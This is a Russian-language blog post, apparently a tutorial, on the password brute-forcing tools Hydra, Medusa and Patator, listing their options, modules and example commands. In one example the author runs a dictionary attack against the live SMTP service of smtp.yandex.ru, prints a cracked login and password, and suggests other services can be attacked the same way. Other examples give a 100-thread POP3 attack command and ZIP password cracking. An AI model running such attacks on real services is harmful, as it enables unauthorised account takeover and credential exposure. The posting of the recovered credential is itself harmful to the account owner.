27.01.2017 @ 14:57 Инструменты для проведения bruteforce-атак: hydra, medusa, patator bruteforce, hydra, medusa, patator, подбор паролей “Брутфорс (полный перебор, en brute force/Bruteforce, в обиходе просто брут) — метод «грубой силы» или «атака в лоб», перебор паролей, попытка подобрать пароль полным или частичным перебором. Специфика данного метода взлома состоит в том, что он не гарантирует успех подбора правильного пароля, однако процент достижения поставленной цели возрастает от количества паролей которые изначально заданы. Для этого существует несколько утилит — Hydra, Medusa, Patator. Что же собой представляет Hydra, в основе программы лежит модульная структура, поэтому проект с самого начала быстро развивался: количество поддерживаемых протоколов росло как на дрожжах. Сейчас с помощью гидры пароль можно подобрать к более чем 30 протоколам, включая telnet, ftp, http, https, smb, несколькими СУБД. В настоящее время поддерживаются следующие протоколы: Asterisk, AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 и v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC и XMPP. Опции Hydra : -R восстановить предыдущую прерванную/оборванную сессию -S выполнить SSL соединение -s ПОРТ если служба не на порту по умолчанию, то можно задать порт здесь -l ЛОГИН или -L ФАЙЛ с ЛОГИНАМИ (именами), или загрузить несколько логинов из ФАЙЛА -p ПАРОЛЬ или -P ФАЙЛ с паролями для перебора, или загрузить несколько паролей из ФАЙЛА -x МИНИМУМ:МАКСИМУМ:НАБОР_СИМВОЛОВ генерация паролей для брутфорса, наберите "-x -h" для помощи -e nsr "n" — пробовать с пустым паролем, "s" — логин в качестве пароля и/или "r" — реверс учётных данных -u зацикливаться на пользователя, а не на парлях (эффективно! подразумевается с использованием опции -x) -C ФАЙЛ формат где "логин:пароль" разделены двоеточиями, вместо опции -L/-P -M ФАЙЛ список серверов для атак, одна запись на строку, после двоеточия ':' можно задать порт -o ФАЙЛ записывать найденные пары логин/пароль в ФАЙЛ вместо стандартного вывода -f / -F выйти, когда пара логин/пароль подобрана (-M: -f для хоста, -F глобально) -t ЗАДАЧИ количество запущенных параллельно ЗАДАЧ (на хост, по умолчанию: 16) -w / -W ВРЕМЯ время ожидания ответов (32 секунды) / между соединениями на поток -4 / -6 предпочитать IPv4 (по умолчанию) или IPv6 адреса -v / -V / -d вербальный режим / показывать логин+пароль для каждой попытки / режим отладки -q не печатать сообщения об ошибках соединения -U подробные сведения об использовании модуля server цель: DNS, IP или 192.168.0.0/24 (эта ИЛИ опция -M) service служба для взлома (смотрите список поддерживаемых протоколов) OPT некоторые модули служб поддерживают дополнительный ввод (-U для справки по модулю) вот не большой наглядный приемчик брут по smtp : Вводим команду: hydra -L /home/mironich/login.txt -P /home/mironich/pass.txt smtp.yandex.ru smtp-auth важно написать именно smtp-auth а не smtp ибо выдаст ошибку. mironich@mironich-Pk:/$ hydra -L /home/mironich/login.txt -P /home/mironich/pass.txt smtp.yandex.ru smtp-auth Hydra v8.0.0 (c) 2016 by van Hauser / THC - use allowed only for legal purposes. Hydra (http://www.thc.org) starting at 2016-12-10 13:58:42 [DATA] 16 tasks, 1 servers, 30 login tries (l:6/p:5), ~1 tries per task [DATA] attacking service smtp-auth on port 25 Error: SMTP AUTH LOGIN error: 535 5.7.8 Error: authentication failed: Invalid login or password Error: SMTP AUTH LOGIN error: 535 5.7.8 Error: authentication failed: Invalid login or password Error: SMTP AUTH LOGIN error: 535 5.7.8 Error: authentication failed: Invalid login or password Error: SMTP AUTH LOGIN error: 535 5.7.8 Error: authentication failed: Invalid login or password Error: SMTP AUTH LOGIN error: 535 5.7.8 Error: authentication failed: Invalid login or password Error: SMTP AUTH LOGIN error: 535 5.7.8 Error: authentication failed: Invalid login or password Error: SMTP AUTH LOGIN error: 535 5.7.8 Error: authentication failed: Invalid login or password [STATUS] attack finished for smtp.yandex.ru (waiting for childs to finish) Error: SMTP AUTH LOGIN error: 535 5.7.8 Error: authentication failed: Invalid login or password [25][smtpauth] host: 87.250.250.38 login: Hjlt6658 password: Hjklopm Небольшой пример брута по словарю, и сбрученая почта аналогично можно поступать с остальными сервисами. Medusa и Hydra во многом похожи они модульные и «многопоточные», с хорошо настраиваемыми возможностями. Основное различие в том, как распараллеливается процесс перебора: у Medusa – потоками, у Hydra – процессами. Что дает первой некое преимущество. Опции Medusa : -h [TARGET] : указываем имя узла или IP адрес для брута -H [FILE] : файл с именами или IP дресами для брута -u [TARGET] : имя пользователя -U [FILE] : файл с именами пользователя -p [TARGET] : пароль -P [FILE] : файл с паролями для перебора -С [FILE] : файл с сотавными записями для перебора формат записи host:user:password ... либо же можно указать PwDump файл (user:id:lm:ntlm:::) -O [FILE] : лог файл для записи информации об успешности/неуспешности попыки -e [n/s/ns] : дополнительные опции при подборе, -n подставлять в качестве пароля пустой пароль, -s имя пользователя -M [TEXT] : выбор модуля(протокола) для пербора -m [TEXT] : параметры для передачи в модуль -d : вывести список модулей -n [NUM] : определяет нестандартный TCP порт -s : использовать SSL -g [NUM] : прекратить попытки соединения после NUM секунд -r [NUM] : задает временной промежуток между попытками -R [NUM] : пробовать NUM раз прежде чем прекратить перебор -t [NUM] : общее количество логинов которое может проверяться одновременно (количество потоков) -T [NUM] : общее количество узлов которое может проверяться одновременно -L : распараллеливание вычисления, использовать по одному имени пользователя на поток -f : прекратить перебор хоста после первого удачного варианта -F : прекратить весь перебор после первого удачного варианта -b : не показывать баннер при запуске -q : показать информацию по используемуму модулю пример medusa -M smbnt -q -v [NUM] : Задает насколько подробен вывод программы NUM=[0-6] -w [NUM] : Задает насколько подробен вывод сообщений об ошибках. NUM=[0..10] -V : вывод версии -z [TEXT] : выводит информации о предыдущем сканировании Пример использования $ medusa -d Medusa v2.0 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net> Available modules in "." : Available modules in "/usr/local/lib/medusa/modules" : + cvs.mod : Brute force module for CVS sessions : version 2.0 + ftp.mod : Brute force module for FTP/FTPS sessions : version 2.0 + http.mod : Brute force module for HTTP : version 2.0 + imap.mod : Brute force module for IMAP sessions : version 2.0 + mssql.mod : Brute force module for M$-SQL sessions : version 2.0 + mysql.mod : Brute force module for MySQL sessions : version 2.0 + nntp.mod : Brute force module for NNTP sessions : version 2.0 + pcanywhere.mod : Brute force module for PcAnywhere sessions : version 2.0 + pop3.mod : Brute force module for POP3 sessions : version 2.0 + rexec.mod : Brute force module for REXEC sessions : version 2.0 + rlogin.mod : Brute force module for RLOGIN sessions : version 2.0 + rsh.mod : Brute force module for RSH sessions : version 2.0 + smbnt.mod : Brute force module for SMB (LM/NTLM/LMv2/NTLMv2) sessions : version 2.0 + smtp-vrfy.mod : Brute force module for enumerating accounts via SMTP VRFY : version 2.0 + smtp.mod : Brute force module for SMTP Authentication with TLS : version 2.0 + snmp.mod : Brute force module for SNMP Community Strings : version 2.0 + ssh.mod : Brute force module for SSH v2 sessions : version 2.0 + telnet.mod : Brute force module for telnet sessions : version 2.0 + vmauthd.mod : Brute force module for the VMware Authentication Daemon : version 2.0 + vnc.mod : Brute force module for VNC sessions : version 2.0 + web-form.mod : Brute force module for web forms : version 2.0 + wrapper.mod : Generic Wrapper Module : version 2.0 $ medusa -M pop3 -q Medusa v2.0 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net> pop3.mod (2.0) JoMo-Kun <jmk@foofus.net> :: Brute force module for POP3 sessions Available module options: MODE:? (NORMAL, AS400) [optional] Sets the mode for error detection. AUTH:? (Authentication Type (USER/PLAIN/LOGIN/NTLM). Default: automatic) Module will query service for accepted methods via an "AUTH" request. USER (clear-text), SASL PLAIN, SASL LOGIN, and SASL NTLM authentication methods are supported. DOMAIN:? [optional] AUTH USER - Appends domain to username (e.g. user@domain.com). AUTH NTLM - Supplies specified domain during NTLM authentication. The default behaviour is to use the server supplied domain value. Usage example: "medusa -M pop3 -m MODE:AS400 -U accounts.txt -p password" "medusa -M pop3 -m DOMAIN:foo.com -U accounts.txt -p password" medusa -M pop3 -h mail.example.com -u admin -P ~/password.txt -O ~/brut.log -w 10 -v 6 -F -t 100 Брутфорс узла mail.example.com по протоколу pop3 (входящая почта), пользователь admin, словарь паролей лежит в домашнем каталоге в файле password.txt, записывать результат в файл иrut.log, максимальный уровень вывода и отладки, перебирать в сто потоков. Что же касается Patator-а он меня меня привлек возможностью очень хитро настраивать фильтрацию определенных ответов от серверов (это нельзя делать ни в Hydra, ни в Medusa). Например, они будут пропускать легитимный логин/пароль, если ответ будет 400, 402, 405, 406 и так далее. Это связанно с тем, что реализация != RFC. A в patator все это можно легко настроить. При этом мы все так же можем указывать необходимые словари и куда их необходимо вставлять. А из интересных фич можно выделить: показ прогресса выполнения и возможность поставить перебор на паузу. Модули Patator: ftp_login : Брут-форс FTP ssh_login : Брут-форс SSH telnet_login : Брут-форс Telnet smtp_login : Брут-форс SMTP smtp_vrfy : Перечисление валидных пользователей с использованием SMTP VRFY smtp_rcpt : Перечисление валидных пользователей с использованием SMTP RCPT TO finger_lookup : Перечисление валидных пользователей с использованием Finger http_fuzz : Брут-форс HTTP pop_login : Брут-форс POP3 pop_passd : Брут-форс poppassd (http://netwinsite.com/poppassd/) imap_login : Брут-форс IMAP4 ldap_login : Брут-форс LDAP smb_login : Брут-форс SMB smb_lookupsid : Брут-форс SMB SID-lookup rlogin_login : Брут-форс rlogin vmauthd_login : Брут-форс демона аутентификации VMware mssql_login : Брут-форс MSSQL oracle_login : Брут-форс Oracle mysql_login : Брут-форс MySQL mysql_query : Брут-форс запросов MySQL rdp_login : Брут-форс RDP (NLA) pgsql_login : Брут-форс PostgreSQL vnc_login : Брут-форс VNC dns_forward : Прямой поиск DNS dns_reverse : Обратный поиск DNS snmp_login : Брут-форс SNMP v1/2/3 ike_enum : Перечисление преобразований IKE unzip_pass : Брутфорс паролей зашифрованных файлов ZIP keystore_pass : Брутфорс паролей файлов хранилища ключей Java umbraco_crack : Взлом хешей паролей Umbraco HMAC-SHA1 tcp_fuzz : Фаззинг TCP служб dummy_test : Модуль тестирования Пример использования на ZIP file: unzip_pass zipfile=challenge1.zip password=FILE0 0=rockyou.dic -x ignore:code!=0 10:54:29 patator INFO - Starting Patator v0.5 (http://code.google.com/p/patator/) at 2012-06-29 10:54:29 PMT 10:54:29 patator INFO - 10:54:29 patator INFO - code size | candidate | num | mesg 10:54:29 patator INFO - ---------------------------------------------------------------------- 10:54:30 patator INFO - 0 82 | love | 387 | 0 [82] No errors detected in compressed data of challenge1.zip. ^C 10:54:31 patator INFO - Hits/Done/Skip/Fail/Size: 1/1589/0/0/5000, Avg: 699 r/s, Time: 0h 0m 2s 10:54:31 patator INFO - To resume execution, pass --resume 166,164,165,166,155,158,148,158,155,154 сам patator можно найти тут : https://github.com/lanjelot/patator Progsky 34905 Penetration testing Читать дальше >>